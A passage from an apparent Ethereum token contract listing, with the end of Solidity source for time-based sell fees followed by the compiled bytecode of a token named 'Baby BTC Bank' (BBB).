if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600d81526020017f42616279204254432042616e6b00000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2042424220000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565